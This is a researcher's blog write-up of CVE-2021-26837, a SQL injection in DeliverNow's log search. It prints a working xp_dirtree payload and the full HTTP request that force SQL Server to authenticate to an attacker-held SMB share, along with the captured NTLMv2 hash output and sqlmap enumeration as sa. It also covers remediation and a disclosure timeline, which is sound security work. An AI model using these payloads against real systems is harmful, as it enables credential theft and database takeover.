← Blog

6 min readCVE-2021-26837

SqlNow: How One Apostrophe in DeliverNow Turned Into CVE-2021-26837

I typed a single quote into a log search box on an internal pentest and DeliverNow told me everything. Here is the whole story: the confession in the error message, the xp_dirtree callback, the sa account, and the CVE that came out of it.

SqlNow: SQL Injection in DeliverNow, CVE-2021-26837

There is a point in every internal penetration test where you stop being clever. You have run the good tooling. You have read the documentation. And now you are just clicking around an internal web app like a bored customer, typing garbage into boxes to see what falls out.

That is exactly where CVE-2021-26837 came from.

I wrote the buttoned-up version of this over at Show Up Show Out Security, where I wear the founder hat and say things like “coordinated disclosure.” This is the version where I admit the entire finding started because I typed blah' into a search box.

The software nobody looks at

DeliverNow is document plumbing. It watches for documents across various operating systems, converts them into other formats, and ships the results off to email, WebDocs, PC directories, and friends. HelpSystems owned it at the time. Fortra owns it now.

It is the exact species of enterprise software that gets installed once, works, and is then never opened again by a human being for six years. Which is precisely why it is worth an hour of your afternoon.

The environment I found it in:

  • Affected: DeliverNow 1.2.18 and earlier
  • Host OS: Windows Server 2019 Datacenter 10.0 (x64)
  • Database: SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)
  • Class: SQL injection, CWE-89
  • My score: CVSSv2 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
  • NVD’s score: 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Step one: typing an apostrophe, like an animal

The Log section of the app has a search box. Pick a field from the dropdown, type a term, hit Search. Deeply mundane. So I deployed the most sophisticated payload in my arsenal:

blah'

And DeliverNow, helpful to a fault, told me exactly what it had done with it.

Figure 1: The app tells on itself

The DeliverNow log search returning a SQL Server error: unclosed quotation mark after the character string, incorrect syntax

Info: Unclosed quotation mark after the character string ”. Incorrect syntax near ”.

That is not an error message. That is a signed confession. My apostrophe went straight into a SQL statement, the parser choked on it, and the application then rendered the parser’s complaint back to me in a tastefully styled yellow box labeled Info.

Sit with that for a second. Someone built a UI component to display raw database errors attractively. There was a design review. There were probably colors discussed. At no point in that process did anyone stop and ask why a SQL Server parser error was reaching the browser in the first place.

The vulnerable parameter is SearchTextbox, sent in the POST body to /LogGrid.aspx. No authentication gymnastics, no encoding tricks, no blind timing oracle. Type quote, receive information.

Step two: convincing the database to call me

Here is the part people underestimate about Microsoft SQL Server injection: you do not have to stay in the database.

xp_dirtree is a built-in stored procedure that lists a directory tree. Hand it a local path, it lists a folder. Hand it a UNC path pointing at a machine you happen to own, and SQL Server, being a well-mannered Windows service, walks across the network and authenticates to your machine before it looks. It does not ask why. It was raised to be polite.

123';declare @q varchar(99);set @q='\\10.2.100.39'+'\fro'; exec master.dbo.xp_dirtree @q;--

Declare a variable, stuff a UNC path into it, ask the server nicely to go look at that path, comment out whatever the application intended to do next.

Figure 2: The payload, in the search box, where it absolutely should not work

The DeliverNow search box containing an xp_dirtree payload pointing at an attacker-controlled UNC path

Fully formed, the request is unremarkable in every way except the one that matters:

POST /LogGrid.aspx HTTP/1.1
Host: x.x.x.x:1080
Content-Type: application/x-www-form-urlencoded
Cookie: ASP.NET_SessionId=...

__EVENTTARGET=ctl07&__VIEWSTATE=...&ddlFieldName=Description
&SearchTextbox=123'%3Bdeclare+%40q+varchar%2899%29%3Bset+%40q%3D'%5C%5C10.2.100.39'%2B'%5Cfro'%3B
+exec+master.dbo.xp_dirtree+%40q%3B--

Figure 5: The exploited request in full

The full HTTP POST request to LogGrid.aspx carrying the URL-encoded xp_dirtree payload in the SearchTextbox parameter

Meanwhile, on my side of the network, Impacket’s smbserver.py sat there running a fake share and quietly taking notes.

Step three: the server walks over and hands me its badge

Figure 3: Forced authentication, captured

Impacket smbserver output showing the SQLServices account from host SCS-FTEREPORTS authenticating successfully and leaking an NTLMv2 hash

[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

DeliverNow’s database server did not merely answer my query. It got up, walked across the network, introduced itself by name, and offered credentials to a machine it had never met.

There is the service account: SQLServices. There is the host: SCS-FTEREPORTS. And there is the NTLMv2 hash, which goes into hashcat if I feel patient, or straight into an NTLM relay if I do not.

Step four: sqlmap handles the paperwork

At that point the interesting question was no longer whether the injection worked. It was how much the database was willing to hand over. So I let sqlmap do the boring part.

Figure 4: Enumerating the database

sqlmap output identifying SQL Server 2017, current user sa, current database RJSReportDelivery, and 21 database users

back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
[INFO] fetching database users password hashes
[INFO] retrieved: 21

current user: 'sa'.

Not a scoped service account. Not a read-only reporting user. Not something with a carefully considered set of grants. sa. The one account that can do everything, wired directly to a web form that could not survive an apostrophe.

Every privilege that account holds, my injected query inherits. Twenty one database users and their hashes, readable. And once you are sa, xp_cmdshell is one sp_configure away, at which point “SQL injection in a log search” quietly upgrades itself to “command execution on a Windows server.”

The cheapest exploit chain in the building

Here is what I did not need: a custom exploit, a memory corruption primitive, a novel technique, or a single line of original code.

Here is what I used: sqlmap, Impacket, and a keyboard. Metasploit would have gotten there too. These are tools that ship in the default install of Kali. The barrier to entry was a single keystroke and the patience to read an error message.

That is worth saying plainly, because “critical severity” often gets mentally translated into “hard to pull off.” Not here. This one was findable by accident and exploitable by default.

The fix, which has been available since roughly 1998

Parameterize the query. Prepared statements keep data as data. Concatenating user input into a SQL string is how you invite the user to help write your queries, and users have terrible taste in SQL.

Validate and sanitize server side. Client-side checks are a suggestion. The POST body is whatever the attacker feels like sending that day.

Stop connecting as sa. This one is free. The application needs to read and write its own tables. It does not need to enumerate every login on the instance, and it certainly does not need the ability to reach out to arbitrary UNC paths. Least privilege would not have prevented the injection, but it would have turned a full compromise into an annoying afternoon.

Do not render database errors to users. The yellow Info box did more for me than any tool I ran. Log it internally, show the user “something went wrong,” and let me work for a living.

Timeline

DateEvent
2021Found during an internal penetration test and reported to HelpSystems
2021Fixed in DeliverNow 1.2.18
2023-09-19Published to NVD as CVE-2021-26837, scored 9.8 Critical

The receipts

The write-up, the exact payloads, the annotated HTTP request, and the reproduction notes are all public:

github.com/l0lsec/CVE-2021-26837

It targets a version that has been patched for years, and it exists so the next person who finds a yellow Info box full of SQL Server grievances knows exactly what they are looking at.

Then go type an apostrophe into your own applications. Every single box. I promise you it is a better use of an hour than most things on your calendar.